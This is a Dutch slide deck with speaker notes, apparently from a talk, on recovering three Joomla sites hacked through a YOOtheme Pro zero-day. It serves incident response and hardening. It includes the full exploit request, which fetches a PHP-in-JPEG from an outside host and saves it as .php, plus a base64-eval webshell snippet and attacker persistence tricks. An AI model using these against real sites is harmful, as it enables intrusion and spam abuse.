Hacked before the patch: 3 Joomla-sites, 1 zero-day, en hoe ik ze herstelde

<section data-background="images/hacked-before-the-patch/hacked-before-the-patch.jpg" data-state="frontpage">
<div class="titlepanel">
<div class="atitle2">
 <div class="atitle" style="font-size:200% !important">Hacked before the patch</div>
 
 3 Joomla-sites, 1 zero-day, en hoe ik ze herstelde
 
 door Peter Martin / <a href="https://db8.nl" target="_blank">db8.nl</a>
 
 slides: <a href="https://petermartin.nl" target="_blank">https://petermartin.nl</a>
 <style>.atitle{text-shadow: 2px 2px 2px #000;}
 .atitle2{text-shadow: 2px 2px 2px #000;}
 .titlepanel {
 background-color: rgba(0, 0, 0, 0.65);
 padding: 20px 40px;
 border-radius: 12px;
 display: inline-block;
 }
 </style>
 <div style="margin: 0 auto;">
 <a href="https://db8.nl" title="Joomla Specialist db8 Nijmegen" target="_blank">
 <img height="50" style="border:0;background:transparent;margin-right:20px;
 box-shadow: 0 0 0 rgba(0, 0, 0, 0.15);" src="images/db8-logo.svg" alt="db8">
 </a>
 </div>
</div>
</div>

---

<div style="position:relative;height:600px;">
<div class="sheet">Donderdag 22 oktober, 17:55</div>
</div>

Note:
Cold open. Vertel het als een verhaal: een gewone donderdag, routine-onderhoud aan dosba.nl, een kop koffie. Dan ziet iets op de server er niet goed uit. Even pauzeren voordat je verdergaat.

----

### Er klopt iets niet

Routine-onderhoud aan dosba.nl

<ul>
<li class="fragment">PHP-bestanden in <code>/images/</code></li>
<li class="fragment">Vreemde mappen in de webroot: <code>4f76f/</code>, <code>54fa3/</code>, <code>28711/</code></li>
<li class="fragment">Bestanden met de naam <code>adman.271.txt</code></li>
<li class="fragment">Een <code>robots.txt</code> die ik niet geschreven had</li>
</ul>

**Mijn website was gehackt. Al 33 uur lang.**

Note:
33 uur: van 21 okt 08:44 (backdoor geplaatst) tot 22 okt 17:55 (ontdekt).

----

### Spoiler

<table class="distrotable">
<thead><tr><th>Site</th><th>Server</th><th>Resultaat</th></tr></thead>
<tbody>
<tr class="hit"><td>dosba.nl</td><td>nginx</td><td>gehackt (gevonden op donderdag)</td></tr>
<tr class="hit"><td>petermartin.nl</td><td>nginx</td><td>gehackt (gevonden op zondag)</td></tr>
<tr class="hit"><td>linuxgids.nl</td><td>OpenLiteSpeed</td><td>gehackt (gevonden op zondag)</td></tr>
<tr class="patch"><td>dutchpoultrycentre.nl</td><td>nginx</td><td>99 keer aangevallen, niet gehackt</td></tr>
</tbody>
</table>

Zelfde kwetsbaarheid. Zelfde dag. Andere timing.

Note:
Verklap het einde expres: de talk gaat niet over "wie heeft het gedaan" maar over "hoe". De 4e site verklaart alles: dezelfde server als petermartin.nl, maar op tijd gepatcht.

----

### Overzicht

1. Buitengesloten
2. De zero-day
3. Wat ze ermee deden
4. Het is niet één site...
5. De gelukkige
6. Ze terugkrijgen
7. Lessen
8. Controleer je eigen site
9. Vragen?

---

<div style="position:relative;height:600px;">
<div class="sheet">Deel 1: Buitengesloten</div>
</div>

----

### Eerste reactie: paniek

Ik kan niet inloggen met SSH!

De dag ervoor was PHP2Shell gepubliceerd... 
Hebben ze root?

Nee. Het was fail2ban. 
Die blokkeerde mijn eigen IP na veel FTP-verbindingen.

**Goed nieuws: de server werkt zoals ingesteld.**

Note:
Het LUG-publiek gaat hier lachen. De les: je eigen security tools raken ook jou. Weet hoe je jezelf unbant, en zorg voor een tweede ingang (de console van de hostingprovider).

----

### Is de server zelf gecompromitteerd?

🐧 Linux

```bash
# ben ik gebanned?
$ sudo fail2ban-client status sshd
$ sudo fail2ban-client set sshd unbanip 203.0.113.10

# wie heeft ingelogd?
$ last -a | head
$ sudo journalctl -u ssh --since "2026-10-20"

# iets dat een reboot overleeft?
$ sudo crontab -l; crontab -l -u siteuser
$ cat ~siteuser/.ssh/authorized_keys /root/.ssh/authorized_keys
```

Geen extra SSH-logins, geen nieuwe cron jobs, geen onbekende keys. 
**De aanvallers bleven binnen de website-user.**

----

### Eerste actie: indammen, niet opruimen

1. Verplaats alle gehackte bestanden en mappen naar <code>/old</code>, <code>chmod 000</code>
2. Zet een statische onderhoudspagina neer
3. Kopieer alle logbestanden naar mijn eigen computer

Verwijder nog niets. Het bewijs zit in de bestanden en de logs.

Note:
chmod 000 houdt de eigenaar niet tegen, dus /old moet later van de server af. Maar op dit moment is het doel: stoppen dat het draait, het bewijs bewaren.

---

----

### YOOtheme Pro image processing

<table class="distrotable">
<tbody>
<tr><td>Product</td><td>YOOtheme Pro 5.x, image cache / resize</td></tr>
<tr><td>Kwetsbaar</td><td>5.0.0 t/m 5.0.52</td></tr>
<tr><td>Opgelost</td><td>5.0.53 (21 oktober 2026)</td></tr>
<tr><td>CVE</td><td><a href="https://www.cve.org/CVERecord?id=CVE-2026-102785" target="_blank" rel="noopener">CVE-2026-102785</a></td></tr>
<tr><td>Score</td><td>10 / 10</td></tr>
<tr><td>Login nodig?</td><td>Nee</td></tr>
</tbody>
</table>

De aanval kwam voordat de fix bestond. 
Tegen een zero-day helpen alleen extra beveiligingslagen.

----

### Eén request is genoeg

```text
GET /en/?option=com_ajax
    &p=/cache/../../../media/yootheme/cache/nonexist-adb6d400.tmp
    &src=images/focus-on/focus-on.jpg
    &thumbnail=600,860,
    &hash=e8b48824
    &FROMFILE=https://mathgals.com/pay_acc.jpg
    &SAVE=images/e2cf4cf4af66.php,jpeg
```

<ul>
<li class="fragment"><code>p=</code> path traversal met <code>../</code></li>
<li class="fragment"><code>hash=</code> gekopieerd van openbare thumbnail-URL op site</li>
<li class="fragment"><code>FROMFILE=</code> "download deze afbeelding van mijn server"</li>
<li class="fragment"><code>SAVE=</code> "en sla hem op als .php"</li>
</ul>

Note:
De hash beschermt src en thumbnail, maar niet de extra parameters FROMFILE en SAVE. En de hash staat in de HTML van elke pagina met een verkleinde afbeelding, dus iedereen kan er een kopiëren.

----

### Een JPEG die ook PHP is

<code>pay_acc.jpg</code> is een geldige afbeelding... 
met PHP verstopt in de Photoshop-metadata.

```php
// only runs when the secret cookie "d" is sent
eval(base64_decode($_REQUEST["id"]));
// ... plus a file upload form
```

Opgeslagen als <code>.php</code> in <code>/images/</code> 
en PHP mocht daar draaien.

**= volledige toegang tot bestanden en database**

----

### De foute foutmelding

```text
08:13:26  GET /en/?option=com_ajax&...&SAVE=images/e2cf4cf4af66.php  -> 500
08:13:27  GET /images/e2cf4cf4af66.php                                -> 200
```

De exploit gaf een foutmelding. 
Maar het bestand werd toch weggeschreven.

**Eén seconde later: een werkende backdoor.**

Note:
Tijden in UTC uit de nginx access log van petermartin.nl. Als je alleen naar errors in je logs kijkt, zou je denken dat het mislukt is.

----

### Woensdag 21 oktober

<table class="distrotable">
<thead><tr><th>Tijd</th><th>Gebeurtenis</th></tr></thead>
<tbody>
<tr class="hit"><td>08:44</td><td>dosba.nl: backdoor <code>images/4f0f3ba6454e.php</code></td></tr>
<tr class="hit"><td>09:35</td><td>linuxgids.nl:                <code>images/38935e685167.php</code></td></tr>
<tr class="hit"><td>10:13</td><td>petermartin.nl:          <code>images/e2cf4cf4af66.php</code></td></tr>
<tr><td>11:40, 13:00</td><td>Automatische Akeeba-backups... inclusief de backdoor</td></tr>
<tr><td>~15:00</td><td>YOOtheme brengt 5.0.53 uit</td></tr>
<tr class="patch"><td>15:10 - 15:15</td><td>Al mijn sites geüpdatet</td></tr>
<tr><td>avond</td><td>Backdoors gebruikt vanaf veel IP-adressen</td></tr>
</tbody>
</table>

Ik updatete binnen 15 minuten.... maar was 6 uur te laat.

Note:
Nederlandse tijd (CEST). YOOtheme bracht de update zelfs een uur eerder uit dan de geplande 16:00. Niets om hen te verwijten; niets om mezelf te verwijten. Dat is wat een zero-day betekent.

----

### Bots kwamen al eerder langs

Dezelfde scanner probeerde het al wekenlang:

<ul>
<li>JCE editor uploads (geblokkeerd: 403)</li>
<li>Astroid / Helix3 upload-trucs (niet geïnstalleerd)</li>
<li>SP Page Builder, Sourcerer (niet geïnstalleerd)</li>
</ul>

linuxgids.nl, 27 september: een mislukte JCE-poging 
vroeg om <code>/images/38935e685167.php</code>

21 oktober: dezelfde bestandsnaam, nu via YOOtheme.

Geen gerichte aanval. Een bot met een lijst extensies.

---

<div style="position:relative;height:600px;">
<div class="sheet">Deel 3: Wat ze ermee deden</div>
</div>

----

### Toegang te koop

Binnen een paar uur gebruikten meer dan 4 verschillende IP-adressen
de backdoor en schreven ze testbestanden:

```text
adman.271.txt   ->  73441
adman.307.txt   ->  94249
adman.344.txt   ->  118336
adman.484.txt   ->  234256
```

271² = 73441. Schrijf een bestand, lees het terug: 
"is deze webroot writable?"

Dezelfde bestandsnamen op alle drie de sites. 
De toegang werd gedeeld of verkocht.

----

### "Vechtpartij" op mijn server

Op dosba.nl minstens drie groepen:

<ul>
<li class="fragment">Groep 1: shells en een SEO-spamscript</li>
<li class="fragment">Groep 2: een eigen webshell <code>images/upload.php</code></li>
<li class="fragment">Groep 3: verwijdert shells van anderen en installeert eigen</li>
</ul>

Bijkomende schade: 5 echte library-bestanden leeggemaakt 
(Symfony, sodium_compat, tcpdf, Akeeba Kickstart)

Hun <code>.htaccess</code>: blokkeer alle PHP, 
behalve <code>index.php</code> en hun eigen shell-namen.

----

### Verstopt in het zicht

<ul>
<li class="fragment">Dubbele mappen: <code>cache/cache/</code>, <code>includes/includes/</code>, <code>com_jedchecker/com_jedchecker/</code></li>
<li class="fragment">Payloads vermomd als media: <code>.m3u8</code> <code>.mov</code> <code>.jp2</code> <code>.png</code> <code>.mp3</code></li>
<li class="fragment">PHP geladen vanuit een zip: <code>zip://</code></li>
<li class="fragment">Versleutelde code: <code>goto</code>-spaghetti, hex escapes, <code>gzinflate(base64_decode(...))</code></li>
<li class="fragment">Valse datums: <code>touch(__FILE__, filemtime("admin.php"))</code></li>
<li class="fragment">linuxgids.nl: datums 11.000 bestanden in 1x aangepast</li>
</ul>

**Sorteren op datum? Helpt je niet.**

----

### 5.600 .htaccess-bestanden

🐧 Linux

```bash
$ find . -name .htaccess | wc -l
5612
```

Elke map kreeg er een. 
Om PHP van andere aanvallers te blokkeren.

Maar kansloos op nginx: `.htaccess` doet niets. 🙂

Op OpenLiteSpeed: <code>RewriteRule</code> werkt, 
maar <code>FilesMatch</code> / <code>Deny</code> worden genegeerd.

Een normale Joomla-site heeft 
maar een paar htaccess-bestanden. Tel de jouwe!

----

### Waarom mijn sites?

<ul>
<li class="fragment">SEO-spam met cloaking: Googlebot en Bingbot krijgen een Japanse nep-webshop, normale bezoekers zien de normale site</li>
<li class="fragment">Spam-e-mail: Leaf PHPMailer en <code>mail()</code>-relays, 
1.117 POSTs vanaf één IP (<code>personal-date.ru</code>)</li>
<li class="fragment">Doorverkopen van toegang aan andere groepen</li>
</ul>

**Ze waren niet uit op mijn content.** 
Ze waren uit op de reputatie van mijn domein.

Note:
Een oud domein dat Google vertrouwt laat spam sneller ranken dan een nieuw domein. Mail van een bestaande server met een bestaand domein komt makkelijker door spamfilters.

----

### Wat Google zag

```text
https://dosba.nl/?woord/123456789012
https://dosba.nl/?c=a8f3k2m9x1q7
https://petermartin.nl/goods/...
https://petermartin.nl/detail/15109226
https://petermartin.nl/hg/
```

<ul>
<li class="fragment">dosba.nl: ~800 spam-URLs gecrawld</li>
<li class="fragment">petermartin.nl: alleen <code>/goods/</code> al 2.733 keer gecrawld</li>
<li class="fragment"><code>robots.txt</code> wees naar een spam-sitemap: <code>inx_sitemap.xml</code></li>
</ul>

Je ziet het niet in je browser. 
**Alleen Google ziet het...**

---

----

### Zondag 25 oktober

dosba.nl was donderdag al schoon. Nu al het andere controleren.

<ul>
<li class="fragment">petermartin.nl: gehackt, dezelfde shells</li>
<li class="fragment">linuxgids.nl: gehackt, op een andere server</li>
<li class="fragment">dutchpoultrycentre.nl: aangevallen, maar schoon</li>
</ul>

**Is één site gehackt via een extensie, controleer dan elke site met die extensie.**

----

### Het bestand dat steeds terugkwam

petermartin.nl: index.html "Website in onderhoud", maar...

<ul>
<li class="fragment">Ik hernoemde de gehackte <code>index.php</code>
<li class="fragment"><code>mv index.php index.php.hacked</code> 
→ hij kwam terug</li>
<li class="fragment"><code>chmod 000 index.php</code> 
→ permissions weer terug: <code>-r--r--r--</code></li>
<li class="fragment">opnieuw verwijderen 
→ bestand weer terug</li>
</ul>

Op dat moment geen web request in de log. 
Er draait iets op de server.

----

### Op jacht naar het guard process

🐧 Linux

```bash
$ ps -u petermartin -o pid,lstart,cmd
    PID  STARTED                   CMD
3330455  Thu Oct 22 06:33:28 2026  php -f /tmp/httpd.conf

$ ls -l /proc/3330455/cwd
... -> /home/petermartin/webapps/petermartin/<shell folder>
```

Een PHP-script, 
vermomd als Apache-configbestand, 
draaide al 3 dagen 
als de website-user.

----

### Bevriezen, verzamelen, killen

🐧 Linux

```bash
$ kill -STOP 3330455 # bevriezen, nog niet killen
$ mkdir /root/forensics && cd /root/forensics
$ cp /tmp/httpd.conf .
$ tr '\0' '\n' < /proc/3330455/environ > environ.txt
$ ls -l /proc/3330455/fd > fd.txt
$ kill -9 3330455
$ rm /tmp/httpd.conf
```

Daarna controleren: alleen php-fpm, de systemd-sessie en mijn SFTP-sessie zijn over.

----

### Wat de guard deed

🐧 Linux

```text
while (true) {
    if (index.php or .htaccess is missing or changed) {
        write the malicious version back
        chmod 0444
    }
    sleep(a few seconds)
}
```

<code>set_time_limit(0)</code> + <code>ignore_user_abort(true)</code>: hij stopt nooit.

Note:
Dezelfde user als de website, dus bestandsrechten kunnen hem niet tegenhouden: wat je met chmod openzet, zet hij weer dicht. Eerst het proces stoppen, dan opruimen. Gestart via 57562/filefuns.php op 22 okt.

----

### linuxgids.nl

<ul>
<li class="fragment"><code>index.php</code> vervangen door een spam-proxy: 
haalt pagina's op van <code>hwb379v15.teleon.today</code></li>
<li class="fragment">Afbeeldingen, CSS en fonts gaan er gewoon doorheen, de site ziet er normaal uit</li>
<li class="fragment">Mailscripts: 390+ geslaagde aanroepen, datingspam</li>
<li class="fragment"><code>images/.email_errors.log</code>: een deel van de mail bounced</li>
<li class="fragment">Zondag 18:07: de site geeft een 500. C'est moi! Ik had alle bestanden naar een andere map verplaatst</li>
<li class="fragment">Maar <code>index.php</code>, <code>.htaccess</code> en een "afbeelding" met uitvoerbare code kwamen terug</li>
</ul>

Nog een guard process. 
Een andere server, hetzelfde draaiboek.

---

<div style="position:relative;height:600px;">
<div class="sheet">Deel 5: De gelukkige</div>
</div>

----

### dutchpoultrycentre.nl

Dezelfde server als petermartin.nl. Dezelfde YOOtheme.

<table class="distrotable">
<tbody>
<tr class="patch"><td>21 okt 15:11</td><td>geüpdatet naar YOOtheme 5.0.53</td></tr>
<tr><td>22 okt 23:35</td><td>eerste exploit-poging: 32 uur later</td></tr>
<tr><td>99 pogingen, 22 IPs</td><td>90× 400, 8× 404, 1× 200 (een bestaand logo)</td></tr>
<tr><td>JCE, Astroid, SP PB</td><td>~54.000 requests in één ochtend: mislukt</td></tr>
<tr><td>admin-login</td><td>~37.750 wachtwoordpogingen: allemaal mislukt</td></tr>
</tbody>
</table>

**Zelfde lek. Zelfde patch. Andere timing.**

Note:
Die ene 200-response zag er eng uit in de log. Maar het was 8.374 bytes: precies de grootte van het bestaande logo (webp), als statisch bestand geserveerd door nginx. PHP heeft nooit gedraaid.

----

### Hoe weet je dat je schoon bent?

Joomla

<ul>
<li>Core bestanden vs een schoon Joomla-pakket: 0 gewijzigd</li>
<li>Bestanden uit backup van 13 en 21 okt vergeleken: alleen 2 taalbestanden en 3 echte uploads</li>
<li>Geen PHP in <code>images/</code>, <code>media/</code>, <code>tmp/</code></li>
<li>Geen enkel request naar backdoor bestand kreeg 200</li>
<li>Uptime monitor: homepage grootte hele maand stabiel</li>
</ul>

Famous last words: "Ziet er goed uit"... 
Is geen bewijs. Vergelijk het.

---

<div style="position:relative;height:600px;">
<div class="sheet">Deel 6: Website herstellen</div>
</div>

----

### Niet opruimen. Opnieuw opbouwen.

Tientallen backdoors, vervalste datums, versleutelde code, 
duizenden gewijzigde bestanden...

Bestand voor bestand opruimen: je mist er een.

En één is genoeg.

----

### Welke backup is schoon?

<table class="distrotable">
<thead><tr><th>Backup</th><th>Status</th></tr></thead>
<tbody>
<tr class="hit"><td>21 okt 13:00 / 01:00</td><td>bevat de backdoor</td></tr>
<tr class="patch"><td>13 okt</td><td>8 dagen voor de inbraak: schoon</td></tr>
</tbody>
</table>

De Akeeba backup log noemt elk bestand in het archief. 
<code>grep</code> erin op de naam van de backdoor.

**Een backup die vlak na een inbraak gemaakt is, is al besmet.**

----

### Terugzetten met Akeeba

Joomla

<ul>
<li>Eerst lokaal terugzetten (Docker, Kickstart + ANGIE)</li>
<li>Cache handler Redis → file, zodat het lokaal draait</li>
<li>Artikelen gepubliceerd na 13 okt: met de hand terugzetten</li>
<li>Joomla, YOOtheme, JCE, Akeeba en YourSites client updaten</li>
<li>Restanten verwijderen: <code>configuration.bak.php</code>, oude plugin-registraties</li>
<li>Nieuwe backup van de schone, geüpdatete site</li>
</ul>

----

### De herstelstappen

1. Bewijs: gehackte site + logs gekopieerd, offline
2. Analyseren, lokaal: logs (nov 2025 - okt 2026), bestanden
3. Vergelijken met een schoon Joomla 6.2.0-pakket
4. Terugzetten van de schone backup in een lege webroot
5. Alles updaten voordat de site live gaat
6. Controleren: core identiek, geen PHP in <code>/images/</code>, geen onbekende users, geen world-writable bestanden
7. Alle secrets vervangen

Note:
Lege webroot: anders overleven de read-only 0444-bestanden en verborgen mappen van de aanvaller de restore.

----

### Alles vervangen

De shells konden <code>configuration.php</code> lezen.

<ul>
<li class="fragment">Nieuwe database credentials: 
database-user, wachtwoord en table prefix</li>
<li class="fragment">Nieuwe Joomla secret</li>
<li class="fragment">Nieuw Akeeba secret word</li>
<li class="fragment">Nieuwe FTP- / SFTP-wachtwoorden</li>
<li class="fragment">Nieuw YourSites token</li>
<li class="fragment">Nieuw SMTP-wachtwoord</li>
</ul>

**Stond het op de server?** 
aanvaller kan je credentials hebben gezien.

----

### Google opschonen

Spam-URLs: antwoord met 410 Gone, 
geen blokkade in <code>robots.txt</code>

🐧 Linux

```nginx
# nginx, dosba.nl
if ($args ~* "^([a-z-]+/[0-9]{8,}|c=[a-z0-9]{10,})$") {
    return 410;
}
location = /inx_sitemap.xml { return 410; }
```

```apache
# .htaccess, linuxgids.nl (OpenLiteSpeed)
RewriteCond %{QUERY_STRING} ^([a-z-]+/[0-9]{8,}|c=[a-z0-9]{10,})$ [NC]
RewriteRule ^ - [G,L]
```

<code>robots.txt</code> zorgt ervoor dat Google niet kan zien dat de pagina weg is.

----

### Google Search Console & Bing Webmaster Tools

Joomla

<ul>
<li class="fragment">Verwijder onbekende eigenaren en onbekende sitemaps</li>
<li class="fragment">Removals → Remove all URLs with this prefix</li>
<li class="fragment">petermartin.nl: 82 prefixes, gevonden in Search Console en in de access log (paden die Googlebot crawlde)</li>
<li class="fragment">Geen bulk upload... dus: browser automation</li>
<li class="fragment">Hetzelfde in Bing Webmaster Tools</li>
<li class="fragment">Reken op 2 tot 8 weken om op te schonen</li>
</ul>

Note:
Kijk bij Settings → Users and permissions: er waren onbekende eigenaren en onbekende sitemaps bijgekomen. Verwijder die eerst.

----

### Reputatiecheck

<table class="distrotable">
<thead><tr><th>Check</th><th>Resultaat</th></tr></thead>
<tbody>
<tr><td>MXToolbox, 60 IP-blacklists</td><td>0 vermeldingen</td></tr>
<tr><td>MXToolbox, domein</td><td>0 vermeldingen</td></tr>
<tr><td>Spamhaus DBL</td><td>geen problemen</td></tr>
<tr><td>SURBL / URIBL</td><td>niet vermeld</td></tr>
</tbody>
</table>

Geluk gehad. Veel van de spammail was gebounced.

---

<div style="position:relative;height:600px;">
<div class="sheet">Deel 7: Lessen</div>
</div>

----

### Up-to-date is niet genoeg

Ik updatete binnen 15 minuten na de release.

<div class="big">Een update verwijdert geen backdoors.</div>

**Ga uit van de volgende zero-day. Bouw lagen.**

----

### Laag 1: geen PHP in upload-mappen

🐧 Linux

```nginx
# nginx: in het server block, vóór de php location
location ~* ^/(images|media|cache|tmp)/.*\.(php|phtml|phar)$ {
    deny all;
}
```

Dit alleen had alle drie de backdoors nutteloos gemaakt.

Op nginx: in de server config, <code>.htaccess</code> werkt niet. 
Op OpenLiteSpeed: gebruik een <code>RewriteRule</code>.

----

### Laag 2: beperk de schade

🐧 Linux

<ul>
<li>Mappen <code>755</code>, bestanden <code>644</code>, <code>configuration.php</code> <code>444</code></li>
<li>Geen world-writable bestanden: <code>find . -perm -o+w</code></li>
<li>disable_functions: <code>exec, shell_exec, system, passthru, proc_open, popen</code></li>
<li><code>open_basedir</code>: alleen de webroot en zijn tmp</li>
<li>Gebruik voor elke website een aparte system user</li>
</ul>

De aanvallers kwamen nooit buiten user <code>petermartin</code>. 
**dutchpoultrycentre.nl was de buurman, en bleef onaangetast.**

----

### Laag 3: sneller detecteren

<ul>
<li class="fragment">Alert bij nieuwe .php-bestanden overal buiten de core</li>
<li class="fragment">Vergelijk core-checksums met het officiële pakket</li>
<li class="fragment">WAF-regel: <code>../</code> of externe URLs in query parameters</li>
<li class="fragment">Monitor de grootte van de homepage, niet alleen de status</li>
<li class="fragment">Controleer <code>site:jouwdomein.nl</code> in Google</li>
</ul>

Tijd tot ontdekking: dosba.nl: 33 uur. petermartin.nl, linuxgids.nl: 4 dagen.

----

### Laag 4: logs & backups die ver genoeg teruggaan

<ul>
<li class="fragment">Bewaar maanden aan access logs 
(ik had nov 2025 - okt 2026)</li>
<li class="fragment">Bewaar backups van weken geleden, 
niet alleen van de laatste 3 dagen</li>
<li class="fragment">Bewaar ze buiten de server</li>
</ul>

Zonder de logs: geen tijdstip van de inbraak. 
Zonder dat tijdstip: geen idee welke backup schoon is.

----

### Laag 5: de saaie basics

Joomla

<ul>
<li>Automatische security updates voor CMS + extensies</li>
<li>MFA voor alle beheerders</li>
<li>Verwijder oude beheerdersaccounts</li>
<li>Verberg <code>/administrator</code> (AdminExile) en rate-limit logins (fail2ban)</li>
<li>User Actions Log met IP-logging</li>
</ul>

---

<div style="position:relative;height:600px;">
<div class="sheet">Controleer je eigen site. Vanavond nog.</div>
</div>

----

### Draai jij YOOtheme Pro 5?

🐧 Linux

```bash
# 1. is de exploit geprobeerd, en werkte hij?
$ zgrep -hE "FROMFILE=|SAVE=" access.log* | awk '{print $9}' | sort | uniq -c

# 2. PHP waar het niet hoort
$ find images media cache tmp -name "*.ph*"

# 3. hoeveel .htaccess-bestanden?
$ find . -name .htaccess | wc -l

# 4. vreemde mappen in de webroot
$ ls -d */ | grep -E '^[0-9a-f]{5}/$'

# 5. vergelijk index.php en robots.txt met een schoon pakket
$ diff index.php ~/joomla-6.2.0/index.php
```

En in Google: <code>site:jouwdomein.nl</code>

Note:
Een 200- of 500-response op een FROMFILE-request van vóór de update is de alarmbel. 400 betekent dat de gepatchte versie het request weigerde.

----

### Gehackt? Dan...

1. Haal de site offline
2. Bewaar de bestanden en logs
3. Zoek naar draaiende processen van de site-user
4. Zet een gecontroleerde backup van vóór de inbraak terug, in een lege webroot
5. Update alles, vervang alle secrets/credentials
6. Check Google Search Console en Bing Webmaster Tools

----

### En de AVG?

<ul>
<li class="fragment">Onbevoegde toegang tot persoonsgegevens = datalek</li>
<li class="fragment">Verwerkingsverantwoordelijke: beoordelen en melden binnen 72 uur</li>
<li class="fragment">Verwerker (jij, voor een klant): informeer de klant direct</li>
</ul>

Op mijn sites stonden geen persoonsgegevens, melden was niet nodig. 
**De webshop van je klant is een ander verhaal.**

---

### Samenvatting

<table class="distrotable">
<tbody>
<tr><td>4 sites</td><td>3 gehackt, 1 op tijd gepatcht</td></tr>
<tr><td>1 request</td><td>geen login, geen wachtwoord</td></tr>
<tr><td>6 uur</td><td>tussen de eerste inbraak en de patch</td></tr>
<tr><td>3+ groepen</td><td>die vochten om mijn servers</td></tr>
<tr><td>5 dagen</td><td>van inbraak tot schone sites</td></tr>
<tr><td>1 serverregel</td><td>geen PHP in <code>/images/</code> had het tegengehouden</td></tr>
</tbody>
</table>

**Up-to-date is niet genoeg. Bouw lagen.**

---

<div style="position:relative;height:600px;">
<div class="sheet">Vragen?</div>
</div>

Note:
Vragen om je op voor te bereiden:
- "Waarom heeft YOOtheme dit niet ontdekt?" → elk product heeft bugs; de fix kwam snel. De vraag is wat jouw server doet als de volgende toeslaat.
- "Had een WAF het tegengehouden?" → waarschijnlijk wel, met een regel voor externe URLs of ../ in query parameters.
- "Waarom niet gewoon de bestanden opruimen?" → vervalste datums, versleutelde code, een guard process. Je mist er een.

----

### Meer lezen

Het volledige verhaal, met alle checks:

<a href="https://db8.nl/en/blog/joomla-website-hacked-yootheme-pro-security-vulnerability" target="_blank">db8.nl/en/blog/joomla-website-hacked-yootheme-pro-security-vulnerability</a>

Slides: <a href="https://petermartin.nl" target="_blank">petermartin.nl</a>

</section>